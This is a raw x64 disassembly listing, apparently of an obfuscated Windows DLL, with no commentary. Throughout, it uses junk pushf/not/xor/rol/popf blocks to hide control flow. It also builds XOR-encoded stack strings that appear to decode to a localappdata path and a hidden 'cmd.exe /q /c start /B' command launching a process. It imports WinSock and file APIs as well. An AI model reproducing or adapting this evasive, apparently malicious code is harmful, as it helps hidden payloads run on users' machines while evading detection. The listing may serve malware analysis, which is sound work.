mov eax, dword [rbp - 0x14]
add al, 0x16
xor eax, 0x79
mov byte [rbp + 6], al
mov eax, dword [rbp - 0x14]
add al, 0x17
xor eax, r15d
mov byte [rbp + 7], al
mov eax, dword [rbp - 0x14]
add al, 0x18
xor eax, 0x6c
mov byte [rbp + 8], al
mov eax, dword [rbp - 0x14]
add al, 0x19
xor eax, 0x6f
mov byte [rbp + 9], al
mov eax, dword [rbp - 0x14]
add al, 0x1a
xor eax, 0x63
mov byte [rbp + 0xa], al
mov eax, dword [rbp - 0x14]
add al, 0x1b
xor eax, 0x61
mov byte [rbp + 0xb], al
mov eax, dword [rbp - 0x14]
add al, 0x1c
xor eax, 0x6c
mov byte [rbp + 0xc], al
mov eax, dword [rbp - 0x14]
add al, 0x1d
xor eax, esi
mov byte [rbp + 0xd], al
mov eax, dword [rbp - 0x14]
add al, 0x1e
xor eax, 0x34
mov byte [rbp + 0xe], al
mov eax, dword [rbp - 0x14]
add al, 0x1f
xor eax, 0x2e
mov byte [rbp + 0xf], al
mov eax, dword [rbp - 0x14]
add al, r15b
xor eax, 0x64
mov byte [rbp + 0x10], al
mov eax, dword [rbp - 0x14]
add al, 0x21
xor eax, 0x61
mov byte [rbp + 0x11], al
mov eax, dword [rbp - 0x14]
add al, 0x22
xor eax, 0x74
mov byte [rbp + 0x12], al
mov eax, dword [rbp - 0x14]
add al, 0x23
xor eax, r15d
mov byte [rbp + 0x13], al
mov eax, dword [rbp - 0x14]
add al, 0x24
xor eax, 0x2d
mov byte [rbp + 0x14], al
mov eax, dword [rbp - 0x14]
add al, 0x25
xor eax, 0x70
mov byte [rbp + 0x15], al
mov eax, dword [rbp - 0x14]
add al, 0x26
xor eax, 0x64
mov byte [rbp + 0x16], al
mov eax, dword [rbp - 0x14]
add al, 0x27
xor eax, 0x6f
mov byte [rbp + 0x17], al
mov eax, dword [rbp - 0x14]
add al, 0x28
xor eax, 0x38
mov byte [rbp + 0x18], al
mov eax, dword [rbp - 0x14]
add al, 0x29
xor eax, 0x63
mov byte [rbp + 0x19], al
mov eax, dword [rbp - 0x14]
add al, 0x2a
xor eax, 0x64
mov byte [rbp + 0x1a], al
mov eax, dword [rbp - 0x14]
add al, 0x2b
xor eax, 0x61
mov byte [rbp + 0x1b], al
mov eax, dword [rbp - 0x14]
add al, 0x2c
xor eax, 0x73
mov byte [rbp + 0x1c], al
mov eax, dword [rbp - 0x14]
add al, 0x2d
xor eax, 0x64
mov byte [rbp + 0x1d], al
mov eax, dword [rbp - 0x14]
add al, 0x2e
xor eax, 0x74
mov byte [rbp + 0x1e], al
mov eax, dword [rbp - 0x14]
add al, 0x2f
xor eax, 0x6f
mov byte [rbp + 0x1f], al
mov eax, dword [rbp - 0x14]
add al, 0x30
xor eax, 0x38
mov byte [rbp + 0x20], al
mov eax, dword [rbp - 0x14]
add al, 0x31
xor eax, 0x31
mov byte [rbp + 0x21], al
mov eax, dword [rbp - 0x14]
add al, 0x32
xor eax, 0x33
mov byte [rbp + 0x22], al
mov eax, dword [rbp - 0x14]
add al, 0x33
xor eax, 0x79
mov byte [rbp + 0x23], al
mov eax, dword [rbp - 0x14]
add al, 0x34
xor eax, 0x37
mov byte [rbp + 0x24], al
mov eax, dword [rbp - 0x14]
add al, 0x35
xor eax, esi
mov byte [rbp + 0x25], al
mov eax, dword [rbp - 0x14]
add al, 0x36
xor eax, 0x32
mov byte [rbp + 0x26], al
mov eax, dword [rbp - 0x14]
add al, 0x37
xor eax, 0x31
mov byte [rbp + 0x27], al
mov eax, dword [rbp - 0x14]
add al, 0x38
xor eax, esi
mov byte [rbp + 0x28], al
xor eax, eax
mov byte [rbp + 0x29], al
mov al, byte [rbp - 0x10]
lea rcx, [rbp - 0x14]
call fcn.18000c13c
mov rcx, rax
call fcn.18000f308
push rax
pushf
mov eax, 0xcc602c3b
pushf
not eax
add eax, 0xa43cd685
xor eax, 0x8a876216
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xd2b31be8
xor eax, 0xbae516d9
rol eax, 0x86
popf
pushf
not eax
add eax, 0xc0534963
xor eax, 0xdd5e443e
rol eax, 0x24
popf
pushf
not eax
add eax, 0xa8edaf72
xor eax, 0xbf92a261
rol eax, 0xcb
popf
jmp 0x18002fa4e
mov byte [rbp + 0x60], 0x80
mov byte [rbp + 0x61], WSAStartup
mov byte [rbp + 0x62], 0x2d
mov byte [rbp + 0x63], 0x80
mov byte [rbp + 0x64], 0x81
mov byte [rbp + 0x65], 0x6e
mov byte [rbp + 0x66], 0x7f
mov byte [rbp + 0x67], 0x81
mov byte [rbp + 0x68], 0x2d
mov byte [rbp + 0x69], 0x5b
mov byte [rbp + 0x6a], 0x76
mov byte [rbp + 0x6b], WSAStartup
mov byte [rbp + 0x6c], 0x75
mov byte [rbp + 0x6d], 0x7c
mov byte [rbp + 0x6e], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x6f], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x70], 0
mov al, byte [rbp + 0x60]
lea rcx, [rbp + 0x60]
call fcn.18000c11c
mov rcx, rax
call fcn.18000f308
xor ebx, ebx
and qword [rsp + 0x30], rbx
and dword [rsp + 0x28], ebx
jmp 0x180030e88
inc ebx
cmp ebx, 5
je 0x180030d6b
push rax
pushf
mov eax, 0x9f9f2e3a
pushf
not eax
add eax, 0xadb2123b
xor eax, 0xc6f1f790
rol eax, 0x90
popf
pushf
not eax
add eax, 0xb096b610
xor eax, 0x9d05ebac
rol eax, 0x79
popf
jmp 0x18002fa4e
push rax
pushf
mov eax, 0x6640c781
pushf
not eax
add eax, 0xdfd9e021
xor eax, 0xa741b0bd
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x845b72c5
xor eax, 0xcdd9d36b
rol eax, 0x30
popf
pushf
not eax
add eax, 0xc3429c18
xor eax, 0xfdc7ec18
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xf60eeaba
xor eax, 0xe52a00bf
rol eax, 0x7a
popf
jmp 0x18002fa4e
mov ecx, 0x11e2b68b
pushf
not ecx
add ecx, 0xd1664045
xor ecx, 0xad59c040
rol ecx, 0x7b
popf
pushf
not ecx
add ecx, 0x8e01baa1
xor ecx, 0xd48c2f60
rol ecx, 0x79
popf
pushf
not ecx
add ecx, 0xffc32ad0
xor ecx, 0xe5ce44f7
rol ecx, 0xc1
popf
pushf
not ecx
add ecx, 0x8cb4d9d8
xor ecx, 0x9c12a79f
rol ecx, 0x41
popf
jmp 0x180030e1e
call qword [0x180021ea0]
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
push rax
pushf
mov eax, 0xd62ac019
pushf
not eax
add eax, 0xc743ee66
xor eax, 0xbffcd38d
rol eax, 0x96
popf
pushf
not eax
add eax, 0x889a6089
xor eax, 0xb7246785
rol eax, 0xc8
popf
pushf
not eax
add eax, 0x9e0fec18
xor eax, 0xc5730f0a
rol eax, 0x62
popf
pushf
not eax
add eax, 0x84776af0
xor eax, 0x8b882964
rol eax, 0xd0
popf
jmp 0x18002fa4e
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1095e936
pushf
not edx
add edx, 0xac6162c6
xor edx, 0xee0a7358
rol edx, 0xb6
popf
pushf
not edx
add edx, 0xa8c47cc6
xor edx, 0xc2e70c83
rol edx, 0x22
popf
lea rcx, [0x1c5960722]
pushf
sub rcx, 0x45946a52
popf
jmp 0x180030ed8
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x180030f2a
push rax
pushf
mov eax, 0xcaa7915e
pushf
not eax
add eax, 0xbde054f9
xor eax, 0xb48ca489
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xa7c2364a
xor eax, 0xef114587
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xfd733f39
xor eax, 0xf6e497d1
rol eax, 0xb4
popf
jmp 0x18002fa4e
push rax
pushf
mov eax, 0x95574f7c
pushf
not eax
add eax, 0x8d75ad6b
xor eax, 0xa570952d
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xa1486376
xor eax, 0xa4320b6d
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xc93edcf8
xor eax, 0xb0b6f846
rol eax, 0xe7
popf
jmp 0x18002fa4e
lea rdx, [0x1e5ddbe98]
pushf
sub rdx, 0x65dd121c
popf
lea rcx, [rbp + 0xc8]
call fcn.180005d54
nop
lea rcx, [rbp + 0xc8]
call fcn.180003a80
jmp 0x180030f9c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
lea rcx, [rbp + 0x100]
call fcn.18000abcc
nop
mov dword [rbp - 0x48], 0x18
mov eax, dword [rbp - 0x48]
xor eax, 0x63
mov byte [rbp - 0x44], al
mov eax, dword [rbp - 0x48]
inc al
xor eax, 0x6d
mov byte [rbp - 0x43], al
mov eax, dword [rbp - 0x48]
add al, 2
xor eax, 0x64
mov byte [rbp - 0x42], al
mov eax, dword [rbp - 0x48]
add al, 3
xor eax, 0x2e
mov byte [rbp - 0x41], al
mov eax, dword [rbp - 0x48]
add al, 4
xor eax, esi
mov byte [rbp - 0x40], al
mov eax, dword [rbp - 0x48]
add al, 5
xor eax, 0x78
mov byte [rbp - 0x3f], al
mov eax, dword [rbp - 0x48]
add al, 6
xor eax, esi
mov byte [rbp - 0x3e], al
mov eax, dword [rbp - 0x48]
add al, 7
xor eax, r15d
mov byte [rbp - 0x3d], al
mov eax, dword [rbp - 0x48]
add al, 8
xor eax, 0x2f
mov byte [rbp - 0x3c], al
mov eax, dword [rbp - 0x48]
add al, 9
xor eax, 0x71
mov byte [rbp - 0x3b], al
mov eax, dword [rbp - 0x48]
add al, 0xa
xor eax, r15d
mov byte [rbp - 0x3a], al
mov eax, dword [rbp - 0x48]
add al, 0xb
xor eax, 0x2f
mov byte [rbp - 0x39], al
mov eax, dword [rbp - 0x48]
add al, 0xc
xor eax, 0x63
mov byte [rbp - 0x38], al
mov eax, dword [rbp - 0x48]
add al, 0xd
xor eax, r15d
mov byte [rbp - 0x37], al
mov eax, dword [rbp - 0x48]
add al, 0xe
xor eax, 0x73
mov byte [rbp - 0x36], al
mov eax, dword [rbp - 0x48]
add al, 0xf
xor eax, 0x74
mov byte [rbp - 0x35], al
mov eax, dword [rbp - 0x48]
add al, 0x10
xor eax, 0x61
mov byte [rbp - 0x34], al
mov eax, dword [rbp - 0x48]
add al, 0x11
xor eax, 0x72
mov byte [rbp - 0x33], al
mov eax, dword [rbp - 0x48]
add al, 0x12
xor eax, 0x74
mov byte [rbp - 0x32], al
mov eax, dword [rbp - 0x48]
add al, 0x13
xor eax, r15d
mov byte [rbp - 0x31], al
mov eax, dword [rbp - 0x48]
add al, 0x14
xor eax, 0x2f
mov byte [rbp - 0x30], al
mov eax, dword [rbp - 0x48]
add al, 0x15
xor eax, 0x42
mov byte [rbp - 0x2f], al
mov eax, dword [rbp - 0x48]
add al, 0x16
xor eax, r15d
mov byte [rbp - 0x2e], al
mov eax, dword [rbp - 0x48]
add al, 0x17
xor eax, 0x68
mov byte [rbp - 0x2d], al
mov eax, dword [rbp - 0x48]
add al, 0x18
xor eax, 0x6f
mov byte [rbp - 0x2c], al
mov eax, dword [rbp - 0x48]
add al, 0x19
xor eax, 0x74
mov byte [rbp - 0x2b], al
mov eax, dword [rbp - 0x48]
add al, 0x1a
xor eax, 0x64
mov byte [rbp - 0x2a], al
mov eax, dword [rbp - 0x48]
add al, 0x1b
xor eax, 0x6f
mov byte [rbp - 0x29], al
mov eax, dword [rbp - 0x48]
add al, 0x1c
xor eax, 0x67
mov byte [rbp - 0x28], al
mov eax, dword [rbp - 0x48]
add al, 0x1d
xor eax, 0x2e
mov byte [rbp - 0x27], al
mov eax, dword [rbp - 0x48]
add al, 0x1e
xor eax, esi
mov byte [rbp - 0x26], al
mov eax, dword [rbp - 0x48]
add al, 0x1f
xor eax, 0x78
mov byte [rbp - 0x25], al
mov eax, dword [rbp - 0x48]
add al, r15b
xor eax, esi
mov byte [rbp - 0x24], al
mov eax, dword [rbp - 0x48]
add al, 0x21
xor eax, r15d
mov byte [rbp - 0x23], al
mov eax, dword [rbp - 0x48]
add al, 0x22
xor eax, 0x70
mov byte [rbp - 0x22], al
mov eax, dword [rbp - 0x48]
add al, 0x23
xor eax, 0x72
mov byte [rbp - 0x21], al
mov eax, dword [rbp - 0x48]
add al, 0x24
xor eax, 0x6f
mov byte [rbp - 0x20], al
mov eax, dword [rbp - 0x48]
add al, 0x25
xor eax, 0x63
mov byte [rbp - 0x1f], al
mov eax, dword [rbp - 0x48]
add al, 0x26
xor eax, esi
mov byte [rbp - 0x1e], al
mov eax, dword [rbp - 0x48]
add al, 0x27
xor eax, 0x73
mov byte [rbp - 0x1d], al
mov eax, dword [rbp - 0x48]
add al, 0x28
xor eax, 0x73
mov byte [rbp - 0x1c], al
mov eax, dword [rbp - 0x48]
add al, 0x29
xor eax, r15d
mov byte [rbp - 0x1b], al
mov eax, dword [rbp - 0x48]
add al, 0x2a
xor eax, 0x61
mov byte [rbp - 0x1a], al
mov eax, dword [rbp - 0x48]
add al, 0x2b
xor eax, 0x64
mov byte [rbp - 0x19], al
mov eax, dword [rbp - 0x48]
add al, 0x2c
xor eax, 0x64
mov byte [rbp - 0x18], al
mov eax, dword [rbp - 0x48]
add al, 0x2d
xor eax, r15d
mov byte [rbp - 0x17], al
xor eax, eax
mov byte [rbp - 0x16], al
mov al, byte [rbp - 0x44]
lea rcx, [rbp - 0x48]
call fcn.18000c0f4
mov rdx, rax
lea r8, [rbp + 0x100]
lea rcx, [rbp + 0x160]
call fcn.180008de0
nop
cmp qword [rax + 0x18], 0x10
jb 0x180031221
push rax
pushf
mov eax, 0xee3e814f
pushf
not eax
add eax, 0x8be669f5
xor eax, 0xc6316e5f
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xa4a2a0c2
xor eax, 0xd7bd84d9
rol eax, 0xc
popf
pushf
not eax
add eax, 0x9db7374b
xor eax, 0xd9dc38e4
rol eax, 0xcd
popf
jmp 0x18002fa4e
push rax
pushf
mov eax, 0x420f1d32
pushf
not eax
add eax, 0x984b8efd
xor eax, 0xc75236ef
rol eax, 0xec
popf
pushf
not eax
add eax, 0xd2fcae22
xor eax, 0xaf3252b1
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x9efd6633
xor eax, 0xeed7b89b
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xa50fabda
xor eax, 0x8fc3d561
rol eax, 0x3c
popf
jmp 0x18002fa4e
mov rax, qword [rax]
push rax
pushf
mov eax, 0x3ef032b7
pushf
not eax
add eax, 0xcfa861be
xor eax, 0xf1124cac
rol eax, 0x41
popf
pushf
not eax
add eax, 0x8f3d850a
xor eax, 0x889e4eae
rol eax, 0x70
popf
pushf
not eax
add eax, 0xf095c80e
xor eax, 0xd93197e4
rol eax, 3
popf
pushf
not eax
add eax, 0x98d5e3dd
xor eax, 0xf67d484b
rol eax, 0xe1
popf
jmp 0x18002fa4e
mov rcx, rax
call fcn.18000f308
nop
lea rcx, [rbp + 0x160]
call fcn.180003444
nop
lea rcx, [rbp + 0x100]
call fcn.180003444
nop
jmp 0x1800312fa
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, eax
lea rcx, [rbp + 0x120]
call fcn.18000abcc
nop
mov byte [rbp + 0x98], 0x67
mov byte [rbp + 0x99], WSAStartup
mov byte [rbp + 0x9a], 0x68
mov byte [rbp + 0x9b], 0x32
mov byte [rbp + 0x9c], 0x69
mov byte [rbp + 0x9d], 0x7c
mov byte [rbp + 0x9e], 0x69
mov byte [rbp + 0x9f], 0x24
mov byte [rbp + 0xa0], 0x33
mov byte [rbp + 0xa1], 0x75
mov byte [rbp + 0xa2], 0x24
mov byte [rbp + 0xa3], 0x33
mov byte [rbp + 0xa4], 0x67
mov byte [rbp + 0xa5], 0x24
mov byte [rbp + 0xa6], 0x77
mov byte [rbp + 0xa7], 0x78
mov byte [rbp + 0xa8], sil
mov byte [rbp + 0xa9], 0x76
mov byte [rbp + 0xaa], 0x78
mov byte [rbp + 0xab], 0x24
mov byte [rbp + 0xac], 0x33
mov byte [rbp + 0xad], 0x46
mov byte [rbp + 0xae], 0x24
mov byte [rbp + 0xaf], 0x6c
mov byte [rbp + 0xb0], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xb1], 0x78
mov byte [rbp + 0xb2], 0x68
mov byte [rbp + 0xb3], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xb4], 0x6b
mov byte [rbp + 0xb5], 0x32
mov byte [rbp + 0xb6], 0x69
mov byte [rbp + 0xb7], 0x7c
mov byte [rbp + 0xb8], 0x69
mov byte [rbp + 0xb9], 0x24
mov byte [rbp + 0xba], 0x78
mov byte [rbp + 0xbb], 0x6c
mov byte [rbp + 0xbc], 0x76
mov byte [rbp + 0xbd], 0x69
mov byte [rbp + 0xbe], sil
mov byte [rbp + 0xbf], 0x68
mov byte [rbp + 0xc0], 0x24
mov byte [rbp + 0xc1], sil
mov byte [rbp + 0xc2], 0x68
mov byte [rbp + 0xc3], 0x68
mov byte [rbp + 0xc4], 0x24
mov byte [rbp + 0xc5], 0
mov al, byte [rbp + 0x98]
lea rcx, [rbp + 0x98]
call fcn.18000c0d4
mov rdx, rax
lea r8, [rbp + 0x120]
lea rcx, [rbp + 0x180]
call fcn.180008de0
nop
cmp qword [rax + 0x18], 0x10
jb 0x1800314da
push rax
pushf
mov eax, 0x55756b8d
pushf
not eax
add eax, 0xd2de5e4e
xor eax, 0xa75cf542
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xb3afc935
xor eax, 0xbb176cab
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xee2b62cf
xor eax, 0xa3084fcb
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xf3c0cfa6
xor eax, 0x926c0e0b
rol eax, 0xc1
popf
jmp 0x18002fa4e
push rax
pushf
mov eax, 0x643112e2
pushf
not eax
add eax, 0xe34c2624
xor eax, 0xd7c0d3e0
rol eax, 0xe
popf
pushf
not eax
add eax, 0xda77ae3e
xor eax, 0xc087faa5
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xc2d0f643
xor eax, 0xa2446a58
rol eax, 0xeb
popf
jmp 0x18002fa4e
mov rax, qword [rax]
push rax
pushf
mov eax, 0x26ff618f
pushf
not eax
add eax, 0x9900d1e8
xor eax, 0xd12dac1f
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xa94bdbc3
xor eax, 0xb686403a
rol eax, 0x6b
popf
jmp 0x18002fa4e
mov rcx, rax
call fcn.18000f308
nop
lea rcx, [rbp + 0x180]
call fcn.180003444
nop
lea rcx, [rbp + 0x120]
call fcn.180003444
nop
mov dword [rbp + 0x4c], 0x3a
mov eax, dword [rbp + 0x4c]
xor eax, 0xffffffc4
mov byte [rbp + 0x50], al
mov eax, dword [rbp + 0x4c]
inc al
xor eax, 0xffffffda
mov byte [rbp + 0x51], al
mov eax, dword [rbp + 0x4c]
add al, 2
xor eax, 0xffffffba
mov byte [rbp + 0x52], al
mov eax, dword [rbp + 0x4c]
add al, 3
xor eax, 0xffffffcb
mov byte [rbp + 0x53], al
mov eax, dword [rbp + 0x4c]
add al, 4
xor eax, 0xffffffb1
mov byte [rbp + 0x54], al
mov eax, dword [rbp + 0x4c]
add al, 5
xor eax, 0xffffffa3
mov byte [rbp + 0x55], al
mov eax, dword [rbp + 0x4c]
add al, 6
xor eax, 0xffffffbb
mov byte [rbp + 0x56], al
mov eax, dword [rbp + 0x4c]
add al, 7
xor eax, 0xffffffa4
mov byte [rbp + 0x57], al
mov eax, dword [rbp + 0x4c]
add al, 8
xor eax, 0xffffffcd
mov byte [rbp + 0x58], al
mov eax, dword [rbp + 0x4c]
add al, 9
xor eax, 0xffffffea
mov byte [rbp + 0x59], al
mov eax, dword [rbp + 0x4c]
add al, 0xa
xor eax, 0xffffffb1
mov byte [rbp + 0x5a], al
mov eax, dword [rbp + 0x4c]
add al, 0xb
xor eax, 0xffffffcf
mov byte [rbp + 0x5b], al
xor eax, eax
mov byte [rbp + 0x5c], al
mov al, byte [rbp + 0x50]
lea rcx, [rbp + 0x4c]
call fcn.18000c0ac
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.1800037a0
mov rbx, rax
mov qword [rbp + 0x410], rax
cmp dword [0x180021c18], 0
je 0x180031668
push rax
pushf
mov eax, 0xf8346ddc
pushf
not eax
add eax, 0x84f50e89
xor eax, 0xa6b1924c
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xd5261b9f
xor eax, 0xca899ee6
rol eax, 0x56
popf
jmp 0x18002fa4e
push rax
pushf
mov eax, 0x4a0742df
pushf
not eax
add eax, 0xd188af69
xor eax, 0xf6adceaf
rol eax, 0x30
popf
pushf
not eax
add eax, 0x9cd45185
xor eax, 0xaaade059
rol eax, 0x44
popf
jmp 0x18002fa4e
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180010da0
mov rcx, rax
lea rdx, [0x1d2852779]
pushf
sub rdx, 0x528419c5
popf
jmp 0x1800316c0
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
push rax
pushf
mov eax, 0x198eee8e
pushf
not eax
add eax, 0xbf99ed11
xor eax, 0x9af1ea7f
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x8182b285
xor eax, 0x8c8f9631
rol eax, 0x14
popf
jmp 0x18002fa4e
mov rcx, rbx
call fcn.180003444
nop
cmp dword [rbp + 0xd0], 0
je 0x180031752
push rax
pushf
mov eax, 0x7d00152c
pushf
not eax
add eax, 0x9be73bdc
xor eax, 0xc048f4de
rol eax, 0x24
popf
pushf
not eax
add eax, 0xc2364891
xor eax, 0xa7fe5bc7
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xc4e52e57
xor eax, 0x9322106d
rol eax, 0x24
popf
jmp 0x18002fa4e
push rax
pushf
mov eax, 0x7062e364
pushf
not eax
add eax, 0xdb4390f0
xor eax, 0xd015c300
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xa02d7d9f
xor eax, 0xba71c25a
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x8c1cbd4a
xor eax, 0xe14eedc7
rol eax, 4
popf
jmp 0x18002fa4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov r15, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret